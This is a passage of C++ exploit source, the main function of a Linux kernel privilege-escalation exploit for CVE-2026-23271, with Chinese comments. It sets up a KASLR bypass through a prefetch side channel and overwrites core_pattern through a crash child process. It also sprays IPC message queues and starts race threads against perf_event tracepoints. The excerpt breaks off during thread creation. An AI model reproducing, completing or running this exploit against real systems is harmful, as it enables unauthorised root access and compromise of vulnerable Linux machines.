Function main

CVE-2026-23271/exploit/exploit.cpp:2589–2669

========================================================================= 主函数: 编排整个 exploit 流程 1. 参数解析 (--vuln-trigger 仅触发模式, 或作为 core_pattern handler) 2. 设置 RLIMIT_NOFILE 3. 注册 membarrier (用于用户态 RCU 同步) 4. KASLR 绕过 (Prefetch 侧信道) 5. Fork 子进程等待 core_pattern 覆写后 crash 提权 6. 创建 5 个线程: Worker, Control, Closer, Sprayer, Locator 7. 等待所有线程完成 ==============================================================

//   7. 等待所有线程完成
// =========================================================================
int main(int argc, char *argv[])
{
    setbuf(stdout, NULL);
// [0 Initialize
    if (argc > 1  && argv[1][0] >= '0' && argv[1][0] <= '9') {
        core_pattern_handler(argv);
    }
// [0-1] setrlimit() - 增大文件描述符上限
    struct rlimit rlim = {
        .rlim_cur = 0xf000,
        .rlim_max = 0xf000
    };
    setrlimit(RLIMIT_NOFILE, &rlim);
    // 原子地将值 0 存储到 ptr 指向的内存地址，__ATOMIC_RELEASE 禁止在此存储操作之后的读写操作被重排到之前，与另一个线程的 __ATOMIC_ACQUIRE 形成同步关系
    __atomic_store_n(&tp_warn_hit, 0, __ATOMIC_RELEASE);
    __atomic_store_n(&tp_race_success, 0, __ATOMIC_RELEASE);
    __atomic_store_n(&tp_oracle_hit, 0, __ATOMIC_RELEASE);
    __atomic_store_n(&tp_victim_msg_idx, -1, __ATOMIC_RELEASE);
    __atomic_store_n(&tp_final_stage_entered, 0, __ATOMIC_RELEASE);
    __atomic_store_n(&tp_final_result, 0, __ATOMIC_RELEASE);
    __atomic_store_n(&tp_fail_reason, TP_FAIL_NONE, __ATOMIC_RELEASE);

    g_num_cpus = sysconf(_SC_NPROCESSORS_ONLN);
    g_event_id = TP_FIXED_EVENT_ID;

    pthread_t t1, t2, t3, t4, t5;
    atexit(cleanup_resources);      // 注册程序正常终止时自动调用的清理函数

    if(pipe(sync_pipe)){};
// [0-2] 注册 membarrier
    if (syscall(__NR_membarrier, MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED, 0, 0) < 0) {
        perror("membarrier register failed (kernel might be too old or CONFIG_MEMBARRIER is off)");
    }

    log_dbg("[0-2] Assign ktext to 0x%lx", (unsigned long)ktext);
// [0-3] crash子进程 - 轮询core_pattern覆写状态，触发NULL deref crash提权
    log_info("[0-3] forking process for core_pattern exp later");
    crash_child_pid = fork();
    if (crash_child_pid == 0) {
        bind_to_cpu(1);
        log_info("[0-3] Fork crash child pid is %d", getpid());
        crash();
    }
// [0-4] 创建0x180个 IPC 消息队列
    setup_msg_queues();
// [0-5] 启动5个线程
    if (pthread_create(&t1, NULL, tp_worker_thread, NULL)) {    // T1 - Worker 创建tracepoint perf_event，触发overflow竞态，进入futex_wait阻塞
        perror("pthread_create worker");
        return 1;
    }
    if (pthread_create(&t2, NULL, tp_control_thread, NULL)) {   // T2 - Control 监控stop_threads标志，协调线程生命周期 - 无用
        perror("pthread_create control");
        return 1;
    }
    if (pthread_create(&t3, NULL, tp_closer_thread, NULL)) {    // T3 - Closer 无用
        perror("pthread_create closer");
        return 1;
    }